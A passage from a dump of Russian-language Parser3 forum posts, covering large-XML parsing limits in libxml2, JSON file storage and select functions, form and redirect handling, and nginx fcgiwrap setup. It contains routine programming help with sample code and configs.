но можно самостоятельно поменять вызов в src/classes/xdoc.C по совету по ссылке:\
\
https://stackoverflow.com/questions/24531634/libxml2-xml-parse-huge-option-for-xmlparsememory\
\
Ну или сделать проблемный XML, а мы добавим поддержку xmlParserOption (http://xmlsoft.org/html/libxml-parser.html#xmlParserOption)"
"84430","Очень большой или сложный XML всё равно не получится разобрать и целиком построить DOM — легко упереться в лимиты ОС или фактический размер памяти и возможностей выделения памяти Парсером.\
Для таких документов нужен парсер, работающий поблочно — читающий файл построчно, собирающий блок по известным открывающим и закрывающим тегам и дающий к его DOM'у интерфейс.\
\
Если сложная работа (хождение по осям, хитрые критерии фильтрации узлов, работы с множествами — фактически XPath) с DOM не требуется, то можно организовать такой парсер самому, читая файл построчно и производя поиск и извлечение узлов и значений регулярными выражениями.\
Но не в Парсере, сторонней утилитой, тем же grep'ом.\
\
Либо привести XML к delemited-данным, положить в БД (LOAD DATA INFILE) и дальше комфортно работать с данными силами SQL.\
Если совсем лень, есть неплохой инструмент от Microsoft — [url=http://www.microsoft.com/en-us/download/details.aspx?id=24659]LogParser[/url], который [url=https://habrahabr.ru/post/85758/]предоставляет SQL-интерфейс к логфайлам в разнообразных форматах[/url], но только для Windows.\
\
Крупные XML редко сложные, зачастую просто контейнер с большим числом однотипных элементов."
"84431","OS FreeBSD 10.3 Stable.\
\
Parser/3.4.5b\
\
Собран с исходников. (ставили 3.4.6, он очень странно вёл себя с selectString и taint-ами, поэтому пока остались на 3.4.5b, разбираться не было времени, потом отпишусь, что было замечено из странностей. Но могу попробовать, обработает ли он такой xml или нет).\
\
XML вроде не сильно сложный, обычное дерево, не с очень большим кол-вом вложенных узлов. Но данных много, продукты с параметрами.\
\
Попробую поэкспериментировать сначала с самим xml, быть может действительно есть какие-то странности в нём. Ну и на крайний случай уже libxml пересобрать.\
\
Спасибо!"
"84432","Да, хмл однотипный, это выгрузка товаров с сайта для сторонних систем (яндекс-маркет и тому подобных). Не все они позволяют работать с разбитыми на части данными. А товаров много, вот и возникла такая проблема.\
\
Спасибо за советы."
"84433","Создание xml падало на ноде:\
\
<picture id=\"88888\" title=\"Доставка для иногородних\" comment=\"Доставка для иногородних\" url=\"/img/88888_delivery_time.png\" alt=\"Доставка для иногородних\" alt2=\"\" filesize=\"8688\" width=\"434\" height=\"323\" expires=\"7200\" node_name=\"logo\"/>\
\
Убрал с ноды часть атрибутов: y=\"2012\" m=\"7\" d=\"4\" dsql=\"2012-07-04 10:22:00\" h=\"10\" min=\"22\" s=\"0\"\
\
xml стал создаваться нормально.\
\
Увеличил xml в 3 раза для верности. Тоже всё срабатывает. \
\
Пробовал создавать xml только с такой нодой (со всеми атрибутами) - тоже нормально создаётся. Видимо выходит какой-то лимит вкупе с общим размером xml."
"84434","[quote]Собран с исходников. (ставили 3.4.6, он очень странно вёл себя с selectString и taint-ами, поэтому пока остались на 3.4.5b, разбираться не было времени, потом отпишусь, что было замечено из странностей. Но могу попробовать, обработает ли он такой xml или нет).[/quote]\
\
3.4.6 еще нет, текущая версия 3.4.6b. Про странности - да, лучше отписаться. Мы там актуализировали версии XML библиотек (libxml2 2.9.1 -> 2.9.4 и libxslt 1.1.28 -> 1.1.29), возможно какие-то несовместимости вылезли. А вот в taint вроде как ничего не менялось.\
\
[quote]Ну и на крайний случай уже libxml пересобрать.[/quote]\
\
Нет, тут скорее парсер надо патчить."
"84435","У меня получилось повторить исключение только когда в цикле аттрибутов \"досыпал\". Интересно, что размер тоже около 10Mb. При 1040 в цикле ошибки уже нет. Добавление в xdoc.C\
\
#define xmlParseMemory(buffer, size) xmlReadMemory(buffer, size, NULL, NULL, XML_PARSE_HUGE)\
\
проблему устраняет, так что завел тикет, добавим такую возможность.\
\
[code]@xml1[][i]\
^for[i](0;1050){<picture id=\"88888\" title=\"Доставка для иногородних\" comment=\"Доставка для иногородних\" url=\"/img/88888_delivery_time.png\" alt=\"Доставка для иногородних\" alt2=\"\" filesize=\"8688\" width=\"434\" height=\"323\" expires=\"7200\" node_name=\"logo\" y=\"2012\" m=\"7\" d=\"4\" dsql=\"2012-07-04 10:22:00\" h=\"10\" min=\"22\" s=\"0\" $attr />}\
\
@main[]\
    $attr[^for[i](1;50){attr$i=\"$i\" }]\
    $data[^for[i](1;10){^xml1[]}]\
    ^data.length[]\
    $x[^xdoc::create{<?xml version=\"1.0\" encoding=\"utf-8\"?><root>$data</root>}]\
}\
\
cpu $status:rusage.utime memory($status:memory.used/$status:memory.free) parser $env:PARSER_VERSION\
[/code]"
"84437","Да, точно 3.4.6b, но в 3.4.5 тоже это уже работала иначе от версии 3.4.5b, которая сейчас стоит. Странности были такие:\
\
Есть xdoc, с html в некоторой ноде.\
\
Он считывается через ^xdoc.selectString[string(path_to_node/body)]\
\
в итоге (самое интересное, не всегда. По-видимому в зависимости от самого html содержимого, более подробно смогу описать позже, как снова попробую новую версию).\
в результат вываливается хтмл в виде &gt; &lt; Приходится делать ^taint[as-is][]\
хотя раньше этого не требовалось. Что-то ещё было, но тоже с работой с xdoc, надо будет снова провести эксперимент."
"84438","Здравствуйте, хочу получить json такого вида:\
[code]\
{\
  \"name\": \"api-server\",\
  \"count\": 0,\
  \"created\": \"2017-12-25 02:38:47\",\
  \"updated\": \"\",\
  \"data\": [{\
    \"email\": \"mail@mail.com\",\
    \"server\": \"example.ru\",\
    \"license\": \"63d5454c-62d0-4355-950f-0cb79396860d\",\
    \"api\": \"57fec556-4e74-4654-a2c6-3f67b9be5fb9\",\
    \"secret\": \"9c1f7004-8066-491e-8410-48c315e85e3f\",\
    \"public\": \"0ae6f861-8faa-401b-a0dd-1e07a915a3e2\"\
  }]\
}\
[/code]\
\
этот json будет хранится в файле, data будет изменятся\
\
чтобы сформировать такой результат делаю так:\
[code]\
$hash[\
  $.name[$table]\
  $.count(0)\
  $.created[$self.options.server.time]\
  $.updated[]\
  $.data[$options.data]\
]\
$build[^json:string[$hash;$.indent(true)]]\
$db[^file::create[binary;$table;$build]]\
^db.save[binary;${path}/^math:md5[$table]]\
[/code]\
\
но так у меня получается такая структура:\
\
[code]\
{\
  \"name\": \"api-server\",\
  \"count\": 0,\
  \"created\": \"2017-12-25 02:38:47\",\
  \"updated\": \"\",\
  \"data\": {\
    \"email\": \"mail@mail.com\",\
    \"server\": \"example.ru\",\
    \"license\": \"63d5454c-62d0-4355-950f-0cb79396860d\",\
    \"api\": \"57fec556-4e74-4654-a2c6-3f67b9be5fb9\",\
    \"secret\": \"9c1f7004-8066-491e-8410-48c315e85e3f\",\
    \"public\": \"0ae6f861-8faa-401b-a0dd-1e07a915a3e2\"\
  }\
}\
[/code]\
\
при этом заранее неизвестно какая будет структура внутри data, названия могут быть разные и со временем дополнятся.\
\
Необходимо заключить data в квадратные скобки для последующего перебора и поиска внутри data по значениям.\
\
Пробовал:\
[code]\
$data[^table::create{^options.data.foreach[name;value]{$name}[	]}]\
^data.append[$options.data]\
$hash[\
	$.name[$table]\
	$.count(0)\
	$.created[$self.options.server.time]\
	$.updated[]\
	$.data[^data.foreach[;value]{^self.to_safe[^json:string[$value;$.indent(true)]]}[, ]]\
]\
$build[^json:string[$hash;\
	$.indent(true)\
	$.table[array]\
]]\
$db[^file::create[binary;$table;^taint[$build]]]\
^db.save[binary;${path}/^math:md5[$table]]\
\
@to_safe[result][locals]\
$replace[^table::create[nameless]{\
\\	\
^taint[^#09]\
^taint[^#0A]}]\
$result[^result.replace[$replace]]\
[/code]\
\
тогда в результате получается такой вид:\
\
[code]\
{\
  \"name\": \"api-server\",\
  \"count\": 0,\
  \"created\": \"2017-12-25 04:23:48\",\
  \"updated\": \"\",\
  \"data\": \"[{\\\"email\\\":\\\"mail@mail.com\\\",\\\"server\\\":\\\"example.ru\\\",\\\"license\\\":\\\"2d4c7280-be97-439e-b685-e7fff67934c1\\\",\\\"api\\\":\\\"8ada29a0-2437-4a2f-9ed1-38f1e629e08a\\\",\\\"secret\\\":\\\"59dab8de-679e-4b86-b1cc-bc311ea1a4ac\\\",\\\"public\\\":\\\"e9ff3257-f832-4dc5-91e7-eeb3826fff8d\\\"}]\"\
}\
[/code]"
"84439","Столкнулся вдруг с неведомой проблемой двойной обработки формы.\
\
Страница сверстана через такое плечо:\
\
[code]<style>\
^#desktop {display: block;}\
^#mobile {display:none;}\
@media screen and (max-width:1200px){\
^#mobile {display: none;}\
^#desktop {display:block;}\
}\
</style>\
\
<div id=\"desktop\">bla-bla ^form[]</div>\
<div id=\"mobile\">bla-bla ^form[]</div>\
^if(def $form:submit){...}\
\
@form[]\
<form>...</form>[/code]\
\
\
Ну вот так сверстал, чо). Может ли форма обрабатываться дважды из-за этого? :)\
\
Решит ли проблему внедрение останавливающего кука, чтобы по-простому выкрутиться теперь? Формы же [b]отправляются условно последовательно?,[/b] можно ли в загрузке страницы ввести $cookie:stop[], а в обработке отправки - [b]^if(def $cookie:stop[1]){ничего}{$cookie:stop[1] и обработка}[/b]?\
\
Или как бы поступить теперь парсерными средствами, если переверстывать - не варик, а контент дивов для обоих случаев берется из одной точки?"
"84440","Будет видно откуда приходят двойные формы."
"84447","Хочу понять можно ли реализовать динамические запросы к таблице записанной в файл.\
\
Формат запроса имеет следующую структуру:\
[code]\
^_select[keys][\
	$.email[mail@mail.com]\
	$.server[example.ru]\
]\
/*или такой*/\
^_select[keys][\
	$.email[mail@mail.com]\
]\
/*или такой*/\
^_select[session][\
	$.id[$id]\
]\
/*в общем любые поля предусмотренные шаблоном*/\
[/code]\
\
Файл с таблицей записан в формате json и имеет следующую структуру:\
[code]\
{\
	\"name\":\"keys\",\
	\"count\":\"2\",\
	\"created\":\"1514657168\",\
	\"updated\":\"1514659786\",\
	\"data\":[\
		{\"id\":\"ce95c0ccfed2d119\",\"email\":\"mail@mail.com\",\"server\":\"example.ru\",\"active\":\"\",\"license\":\"c4205307-ef4b-4ba9-a4b6-c9b1ec575358\",\"api\":\"0737618b-7e3e-4db4-a95a-5053663cc42f\",\"secret\":\"576a1c21510241bc\",\"public\":\"2a86503501a33577\",\"access\":\"\",\"reload\":\"\",\"created\":\"1514657168\",\"expires\":\"1546193168\"},\
		{\"id\":\"ebed23804532d852\",\"email\":\"mail@mail.com\",\"server\":\"example.com\",\"active\":\"\",\"license\":\"854a3f3a-22d3-4b9e-8f8b-da6c11f8ebe7\",\"api\":\"fbc6c4e5-ef77-4d17-adb9-8deade1ade00\",\"secret\":\"9286bc5916af8835\",\"public\":\"4e42b91262df310d\",\"access\":\"\",\"reload\":\"\",\"created\":\"1514659786\",\"expires\":\"1546195786\"}\
	]\
}\
[/code]\
\
Смог добиться результата, который только сообщает есть ли совпадения по запросу, но не знаю как возвращать строки совпадений, чтобы результатом была таблица с совпадениями, чтобы потом написать @_delete и @_update\
[code]\
@_select[table;data]\
/*проверяем существует ли файл в директории*/\
^if($self.base.[^math:md5[$table]]){\
	$hash[^_open[$table]] /*открываем файл и делаем из него хэш*/\
	$bone[^pattern[$table;$data]] /*создаем тело таблицы на основе шаблона*/\
	$body[^table::create{^bone.foreach[key;value]{$key}[	]}] /*создаем таблицу*/\
	^hash.data.foreach[;row]{\
		^body.append[$row] /*наполняем таблицу данными из файла*/\
	}\
	$select[^bone.foreach[key;value]{\
		^if(def $value && $key ne 'id'){\
			$.[$key][^if(^body.locate[$key;$value]){true}{false}]\
		}\
	}] /*проверяем истину каждого ключа*/\
	$keys[^select.keys[]] /*собираем ключи*/\
	$response[^process{^^if(^keys.menu{'true' eq '$select.[$keys.key]'}[ && ])^{true^}^{false^}}] /*проверяем истину всего запроса*/\
	^if(^response.bool[]){\
		^json:string[есть совпадения]\
	}{\
		^json:string[нет совпадений]\
	}\
}\
[/code]"
"84448","Для полноценного поиска лучше использовать базу данных, а не заниматься перекладыванием данных и их перебором.\
\
Складывать в таблицу и использовать process, чтобы искать по элементарному совпадению строк бессмысленно.\
\
[code]@main[]\
$hash[^json:parse[{\
	\"name\":\"keys\",\
	\"count\":\"2\",\
	\"created\":\"1514657168\",\
	\"updated\":\"1514659786\",\
	\"data\":[\
		{\"id\":\"ce95c0ccfed2d119\",\"email\":\"mail@mail.com\",\"server\":\"example.ru\",\"active\":\"\",\"license\":\"c4205307-ef4b-4ba9-a4b6-c9b1ec575358\",\"api\":\"0737618b-7e3e-4db4-a95a-5053663cc42f\",\"secret\":\"576a1c21510241bc\",\"public\":\"2a86503501a33577\",\"access\":\"\",\"reload\":\"\",\"created\":\"1514657168\",\"expires\":\"1546193168\"},\
		{\"id\":\"ebed23804532d852\",\"email\":\"mail@mail.com\",\"server\":\"example.com\",\"active\":\"\",\"license\":\"854a3f3a-22d3-4b9e-8f8b-da6c11f8ebe7\",\"api\":\"fbc6c4e5-ef77-4d17-adb9-8deade1ade00\",\"secret\":\"9286bc5916af8835\",\"public\":\"4e42b91262df310d\",\"access\":\"\",\"reload\":\"\",\"created\":\"1514659786\",\"expires\":\"1546195786\"}\
	]\
}]]\
$selected[^select[$hash.data][\
	$.email[mail@mail.com]\
	$.server[example.ru]\
]]\
<pre>^json:string[$selected;$.indent(true)]</pre>\
\
@select[data;condition]\
$result[^hash::create[]]\
\
$target[^stamp[$condition]]\
\
^data.foreach[index;item]{\
	$stamp[^stamp[^item.intersection[$condition]]]\
\
	^if($stamp eq $target){\
		$result.$index[$item]\
	}\
}\
\
@stamp[hash]\
$result[^math:md5[^hash.foreach[key;value]{$key=$value}]][/code]\
\
Ещё быстрее будет, если сначала скомпилировать функцию поиска по заранее заданному списку искомых полей, а потом её использовать без пересечения хешей и перебора ключей.\
\
Зачем используется CSS-стиль для «комментариев» — отдельная загадка."
"84449","И писать запросы не только на равенство, а вообще по любому набору условий.\
\
Но лучше всего положить данные в базу и не заниматься эмулированием СУБД на Парсере. :)\
\
[code]\
@main[]\
  $db[^JsonDB::load[db.json]]\
\
  Select all:\
  ^print[^db.select[][$.orderBy{$db.id}]]\
\
  Conditions:\
  ^print[^db.select($db.server eq \"example.ru\")]\
\
  $lDateTime[^date::create[2018-12-30T18:06:10+00:00]]\
  ^print[^db.select($db.email eq \"mail@mail.com\" && $db.expires < ^lDateTime.unix-timestamp[])]\
\
  Limits:\
  ^print[^db.select($db.email eq \"mail@mail.com\")[$.limit(1) $.reverse(1)]]\
\
@print[aData]\
  $result[^json:string[$aData;$.indent(true)]^#0A]\
\
\
\
@CLASS\
JsonDB\
\
@OPTIONS\
locals\
\
@load[aFileName]\
  $self._fileName[$aFileName]\
  $self._db[^file::load[text;$aFileName]]\
\
  $self._keys[]\
  $self._db[^json:parse[^taint[as-is][$self._db.text];$.array[$self._parseData]]]\
\
@GET_DEFAULT[aKeyName]\
  $result[^if(^self._keys.[contains][$aKeyName]){$self._db.data.[$aKeyName]}]\
\
@select[aCond;aOptions]\
## aOptions.orderBy\
## aOptions.limit\
## aOptions.offset\
## aOptions.reverse\
  $aOptions[^hash::create[$aOptions]]\
  $lSelectOptions[^hash::create[]]\
  ^aOptions.foreach[k;v]{\
    ^if($k eq \"limit\" || $k eq \"offset\" || $k eq \"reverse\"){\
      $lSelectOptions.[$k]($v)\
    }\
  }\
\
  ^if(def $aCond){\
    $result[^self._db.data.select($aCond)[$lSelectOptions]]\
  }{\
    $result[^table::create[$self._db.data][$lSelectOptions]]\
  }\
\
  ^if(^aOptions.contains[orderBy]){\
    ^result.sort{$aOptions.orderBy}\
  }\
\
@_parseData[key;value]\
  $result[]\
  ^if($value){\
    $lKeys[^value.0.keys[]]\
    $result[^process{^^table::create{^lKeys.foreach[k;v]{$v.key}[^#09]}}]\
    ^value.foreach[k;v]{\
      ^result.append[$v]\
    }\
    $self._keys[^lKeys.hash[key;key;$.type[string]]]\
  }\
[/code]"
"84450","получаю ошибку ' mail@mail.com eq mail@mail.com && example.ru eq example.com ' invalid number (double)\
\
[code]\
$select[^_select[keys][\
	$.email[eq mail@mail.com]\
	$.server[eq example.com]\
][\
	$.orand[&&]\
]]\
^json:string[$select]\
\
@_select[table;data;options]\
^if($self.base.[^math:md5[$table]]){\
	$options[^hash::create[$options]]\
	$params[^hash::create[]]\
	$hash[^_open[$table]]\
	$bone[^pattern[$table;$data]]\
	$body[^table::create{^bone.foreach[key;value]{$key}[^#09]}]\
	^hash.data.foreach[;row]{\
		^body.append[$row]\
	}\
	^options.foreach[k;v]{\
	  ^if($k eq \"limit\" || $k eq \"offset\" || $k eq \"reverse\"){\
	    $params.[$k]($v)\
	  }\
	}\
	$_select[^bone.foreach[key;value]{\
		^if(def $value && $key ne 'id'){\
			$.[$key][$value]\
		}\
	}]\
	$_select[^_select.foreach[key;value]{\
		$body.[$key] $value\
	}[ $options.orand ]]\
	^if(def $_select){\
	  $result[^body.select($_select)[$params]]\
	}{\
	  $result[^table::create[$body][$params]]\
	}\
	^if(^options.contains[orderBy]){\
	  ^result.sort{$options.orderBy}\
	}\
}\
[/code]"
"84451","[quote]Ещё быстрее будет, если сначала скомпилировать функцию поиска по заранее заданному списку искомых полей, а потом её использовать без пересечения хешей и перебора ключей.[/quote]\
\
А как это примерно будет выглядеть?"
"84452","[quote]А как это примерно будет выглядеть?[/quote]\
\
[code]@main[]\
$hash[^json:parse[{\
	\"name\":\"keys\",\
	\"count\":\"2\",\
	\"created\":\"1514657168\",\
	\"updated\":\"1514659786\",\
	\"data\":[\
		{\"id\":\"ce95c0ccfed2d119\",\"email\":\"mail@mail.com\",\"server\":\"example.ru\",\"active\":\"\",\"license\":\"c4205307-ef4b-4ba9-a4b6-c9b1ec575358\",\"api\":\"0737618b-7e3e-4db4-a95a-5053663cc42f\",\"secret\":\"576a1c21510241bc\",\"public\":\"2a86503501a33577\",\"access\":\"\",\"reload\":\"\",\"created\":\"1514657168\",\"expires\":\"1546193168\"},\
		{\"id\":\"ebed23804532d852\",\"email\":\"mail@mail.com\",\"server\":\"example.com\",\"active\":\"\",\"license\":\"854a3f3a-22d3-4b9e-8f8b-da6c11f8ebe7\",\"api\":\"fbc6c4e5-ef77-4d17-adb9-8deade1ade00\",\"secret\":\"9286bc5916af8835\",\"public\":\"4e42b91262df310d\",\"access\":\"\",\"reload\":\"\",\"created\":\"1514659786\",\"expires\":\"1546195786\"}\
	]\
}]]\
$selected[^select[$hash.data][\
	$.email[mail@mail.com]\
	$.server[example.ru]\
]]\
<pre>^json:string[$selected;$.indent(true)]</pre>\
\
@select[data;condition]\
$result[^hash::create[]]\
\
^process[$self]{@equal[a^;b]\
^$result(^condition.foreach[field;]{^$a.$field eq ^$b.$field}[ && ])}\
\
^data.foreach[index;item]{\
	^if(^equal[$condition;$item]){\
		$result.$index[$item]\
	}\
}[/code]\
\
Но будет работать только для простого поиска на точное соответствие.\
Если нужно универсальнее — table.select, как в примере Sumo, будет лучше, хоть и потребует предварительной сборки таблицы."
"84453","Внимательно разберитесь с моим примером, перед тем как писать свой вариант. \
\
Мой вариант вполне можно использовать для ваших задач уже сейчас — только запросы надо делать в виде Парсеровских выражений, а не в виде хеша."
"84454","Ни пуха, ни пера!"
"84455","Ваш пример вполне понятен, но таблицы хочу подгружать указывая их названия, как правильно вызывать запрос, не могу понять:\
[code]\
^_select[table](server eq \"example.ru\")\
\
@_select[table;data;options]\
^if($self.base.[^math:md5[$table]]){\
	$options[^hash::create[$options]]\
	$hash[^_table[$table]]\
	$_select[^hash::create[]]\
	^options.foreach[k;v]{\
		^if($k eq \"limit\" || $k eq \"offset\" || $k eq \"reverse\"){\
			$_select.[$k]($v)\
		}\
	}\
\
	^if(def $data){\
		$result[^hash.data.select($data)[$_select]]\
	}\
\
	^if(^options.contains[orderBy]){\
		^result.sort{$options.orderBy}\
	}\
}\
\
@_table[table]\
$name[$self.base.[^math:md5[$table]].name]\
$file[^file::load[binary;${self.path}/${name}]]\
$string[^taint[clean;$file.text]]\
$result[^json:parse[$string;$.array[$_parseData]]]\
\
@_parseData[key;value]\
$result[]\
^if($value){\
  $keys[^value.0.keys[]]\
  $result[^process{^^table::create{^keys.foreach[k;v]{$v.key}[^#09]}}]\
  ^value.foreach[k;v]{\
    ^result.append[$v]\
  }\
}\
[/code]\
Такой вариант у меня не выдает результат, ошибок нет, но и не фильтрует потому что не знаю как правильно задать условие поиска."
"84456","И не забудьте разобраться как работает базовый table.select."
"84464","Но на больших числах не принципиально."
"84465","Друзья, 21 век на дворе.\
\
А форум занимается какой-то ерундой и конвертирует символы в сущности, которые потом криво вставляет.\
\
Например:\
— код 26 — стрелка вправо: &#8594;\
— код 27 — стрелка влево: &#8592;\
\
Зачем, почему?..\
\
\
А, так [i]Content-Type:text/html; charset=[b]WINDOWS-1251[/b][/i].\
Сурово, прогрессивно!"
"84466","Поэтому берем заведомо большое число. \
\
Кроме того, размер таблицы — это очень узкий диапазон для целых случайных чисел. Если взять большой диапазон, то шансов получить уникальную последовательность гораздо больше, хотя в нашем случае это не важно. ;)"
"84469","Привет. Возникла необходимость на скору руку соорудить один микроскопический сервис. В наличии был дроплет на DigitalOcean с поднятым nginx, решил использовать по старой памяти Парсер.\
\
Создал virtual host, закинул туда тестовый HTML-файл - работает.\
\
Залил на сервер wget-ом 64-битный дистрибутив парсера, распаковал, выставил права, из терминала запускается, копирайты показывает. [code]    apt-get install fcgiwrap spawn-fcgi libfcgi[/code] сделал. \
\
Написал по материалам форума конфигурацию:\
\
[code]server {\
        listen 80;\
        listen [::]:80;\
        root /var/www/example.com/html;\
        index index.html index.htm index.nginx-debian.html;\
        server_name example.com;\
        location / {\
                try_files $uri $uri/ =404;\
        }\
        location ~ \\.html$ {\
                try_files      $uri     =404;\
                fastcgi_pass   unix:/var/run/fcgiwrap.socket;\
                fastcgi_param  SCRIPT_NAME  $request_uri;\
                fastcgi_param  SCRIPT_FILENAME  /var/www/example.com/cgi/parser3.cgi;\
                fastcgi_param  PATH_INFO    $fastcgi_script_name;\
                fastcgi_param  PATH_TRANSLATED  /var/www/example.com/html$fastcgi_script_name;\
                include /etc/nginx/fastcgi_params;\
        }\
        # запрет на доступ к .cfg и .p файлам:\
        location ~ \\.(p|cfg|dir|pag)$ {\
                return 404;\
                #deny all;\
        }\
}[/code]\
\
При обращении к файлам с расширением *.html получаю ошибку от nginx \"502 Bad Gateway\".\
\
Если залезть в /var/log/nginx/error.log вижу \
\
[code]2018/01/07 00:24:44 [crit] 26292#26292: *1 connect() to unix:/var/run/fcgiwrap.socket failed (2: No such file or directory) while connecting to upstream, \
client: x.x.x.x, server: example.com, request: \"GET /index.html HTTP/1.1\", \
upstream: \"fastcgi://unix:/var/run/fcgiwrap.socket:\", host: \"example.com\"[/code]\
\
когда ручками создал пустой файл /var/run/fcgiwrap.socket ошибка изменилась:\
\
[code]2018/01/07 00:26:39 [error] 26292#26292: *6 connect() to unix:/var/run/fcgiwrap.socket failed (111: Connection refused) while connecting to upstream, \
client: x.x.x.x, server: example.com, request: \"GET /index.html HTTP/1.1\", \
upstream: \"fastcgi://unix:/var/run/fcgiwrap.socket:\", host: \"example.com\"[/code]\
\
Что я делаю не так?\
\
P.S. Содержимое /etc/nginx/fastcgi_params стандартно:\
\
[code]fastcgi_param  QUERY_STRING       $query_string;\
fastcgi_param  REQUEST_METHOD     $request_method;\
fastcgi_param  CONTENT_TYPE       $content_type;\
fastcgi_param  CONTENT_LENGTH     $content_length;\
\
fastcgi_param  SCRIPT_NAME        $fastcgi_script_name;\
fastcgi_param  REQUEST_URI        $request_uri;\
fastcgi_param  DOCUMENT_URI       $document_uri;\
fastcgi_param  DOCUMENT_ROOT      $document_root;\
fastcgi_param  SERVER_PROTOCOL    $server_protocol;\
fastcgi_param  REQUEST_SCHEME     $scheme;\
fastcgi_param  HTTPS              $https if_not_empty;\
\
fastcgi_param  GATEWAY_INTERFACE  CGI/1.1;\
fastcgi_param  SERVER_SOFTWARE    nginx/$nginx_version;\
\
fastcgi_param  REMOTE_ADDR        $remote_addr;\
fastcgi_param  REMOTE_PORT        $remote_port;\
fastcgi_param  SERVER_ADDR        $server_addr;\
fastcgi_param  SERVER_PORT        $server_port;\
fastcgi_param  SERVER_NAME        $server_name;\
\
# PHP only, required if PHP was built with --enable-force-cgi-redirect\
fastcgi_param  REDIRECT_STATUS    200;[/code]"
"84470","оказывается, надо было перезагрузиться, чтобы spawn-fcgi стартовал. Всё работает."
"84471","Годы идут, а [i]FCGI_CHILDREN=\"…\"[/i] в [i]/etc/init.d/fcgiwrap[/i] до сих пор толком не работает.\
Печально, что приходится патчить [i]/lib/systemd/system/fcgiwrap.service[/i], добавляя [i]ExecStart=/usr/sbin/fcgiwrap [b]-c …[/b][/i]."
"84472","Поменялся провайдер, новый не предоставляет услугу SMTP, проблема встала ребром.\
\
На форуме периодически тема поднимается, типа тут - https://www.parser.ru/forum/?id=81367\
Все еще не планируется?\
\
Какие есть варианты решить проблему под win? Может у кого-нибудь даже готовое есть?\
\
Из нагугленного и кажущегося перспективным есть такой аналог совместимый sendmail - http://msmtp.sourceforge.net/\
\
Пока поднял локальный SMTP-релей, но как то это неэстетично :)\
В идеале безусловно хочется нативного решения"
"84473","По сути, sendmail  на юниксе — локальный релей."
"84475","[code]^if(def $cookie:result){<p>$cookie:result</p>$cookie:result[]}\
\
<form>\
<input type=\"text\" name=\"field1\">\
<input type=\"text\" name=\"field2\">\
<input type=\"text\" name=\"field3\">\
<input type=\"submit\" name=\"fire\">\
</form>\
\
^if(def $form:fire){\
\
^if(def $form:field1 || def $form:field2 || def $form:field3){}{$cookie:result[нифига нету]$response:location[http://samedomain.ru/samefolder?a=b#c]}\
\
^if(def $form:field1){}{$cookie:result[нет первого]$response:location[http://samedomain.ru/samefolder?a=b#c]}\
^if(def $form:field1){}{$cookie:result[нет второго]$response:location[http://samedomain.ru/samefolder?a=b#c]}\
^if(def $form:field1){}{$cookie:result[нет третьего]$response:location[http://samedomain.ru/samefolder?a=b#c]}\
\
# тут обработка\
\
}[/code]\
\
Сабмит пустой формы даёт \"нет третьего\".\
\
Сабмит формы только с третьим даёт \"нет второго\".\
\
Сабмит заполненной формы обрабатывается нормально.\
\
WAZZUP?! :o( Респонзы игнорируются полностью, кук просто переписывается следующим и оказывается последним из возможных, когда должен первым и сразу уйти в локейшн."
"84476","... в переменной location класса response значение value. Программа при этом не прерывается, а продолжает выполняться дальше.\
\
Заголовки будут выставлены после окончания работы скрипта, когда Парсер будет формировать и отдавать ответ браузеру. В паре с location неплохо бы выставлять еще и статус (302, 301 и т.п.)."
"84478","Hint:\
[code]^if(def …){}{…}[/code]\
->\
[code]^if(!def …){…}[/code]"
"84481","А то альтернатива - плодить переменных по числу полей, писать им алгоритм, чтобы сформировать единый алёрт и одну перезагрузку... - как-то алогична, когда всё м. б. ясно уже с первой строки."
"84482","Можно сделать примерно в вашем изначальном стиле, надо только поменять проверки местами - сперва проверить одиночные поля, потом их пары - \"первое||второе\", \"первое||третье\", \"второе||третье\" - и только потом уже все сразу - \"первое||второе||третье\". В этом случае даже при перезаписи в куке всё равно останется актуальное по логике значение."
"84484","Провайдер VDS отказывается от денег (у моего там все работы по специальной предоценке, он отказывается копаться и выставлять счет) и отправляет... к разработчикам на парсере. Мол, проблема в нём: баг же появился? так вы ж авто.п сайта вон меняете все время, - в таком духе диалог)). Формы на сайте множатся, ровно на всех происходит то же.\
\
Моё предположение из корневого сообщения, которое и само по себе бред, я дополнительно исключил ещё большим бредом.\
\
[code]<form>\
$balin($balin + 1)\
<input type=\"submit\" name=\"${balin}submit\">\
</form>\
^if(def $form:1submit){одно}\
^if(def $form:2submit){и то же}[/code]\
\
Это оказалось очень приятно с т. з. интерфейса-диалога, разной длины алёртов для мобильных и и проч., но проблему, естественно, не решило.\
\
[b]Вопрос: исключено ли теперь, что она состоит в парсере?[/b]\
[i]Подвопрос: не накидаете ли ключевых слов для сервера и саппорта, что можно смотреть? :) Попросить заглянуть куда?[/i]\
\
Ну и, на всякий, конфиг as is:\
\
[code]@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
#	$.cp866[$charsetsdir/cp866.cfg]\
#	$.koi8-r[$charsetsdir/koi8-r.cfg]\
#	$.koi8-u[$charsetsdir/koi8-u.cfg]\
#	$.windows-1250[$charsetsdir/windows-1250.cfg]\
	$.windows-1251[$charsetsdir/windows-1251.cfg]\
#	$.windows-1254[$charsetsdir/windows-1254.cfg]\
#	$.windows-1257[$charsetsdir/windows-1257.cfg]\
#	$.x-mac-cyrillic[$charsetsdir/x-mac-cyrillic.cfg]\
]\
\
#if client library not found in default search paths, change path to those on your system\
#or use $sqldriversdir/system/ path to use the supplied client library\
$SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	lib/system/libmysqlclient.so\
#sqlite	$sqldriversdir/libparser3sqlite.so	sqlite3.so\
#pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
#oracle	$sqldriversdir/libparser3oracle.so	libclntsh.so\
}]\
]\
\
#for ^file::load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::create{ext	mime-type\
7z	application/x-7z-compressed\
au	audio/basic\
avi	video/x-msvideo\
css	text/css\
cvs	text/csv\
doc	application/msword\
docx	application/vnd.openxmlformats-officedocument.wordprocessingml.document\
dtd	application/xml-dtd\
gif	image/gif\
gz	application/x-gzip\
htm	text/html\
html	text/html\
ico	image/x-icon\
jpeg	image/jpeg\
jpg	image/jpeg\
js	application/javascript\
log	text/plain\
mid	audio/midi\
midi	audio/midi\
mov	video/quicktime\
mp3	audio/mpeg\
mpg	video/mpeg\
mpeg	video/mpeg\
mts	application/metastream\
pdf	application/pdf\
png	image/png\
ppt	application/powerpoint\
ra	audio/x-realaudio\
ram	audio/x-pn-realaudio\
rar	application/x-rar-compressed\
rdf	application/rdf+xml\
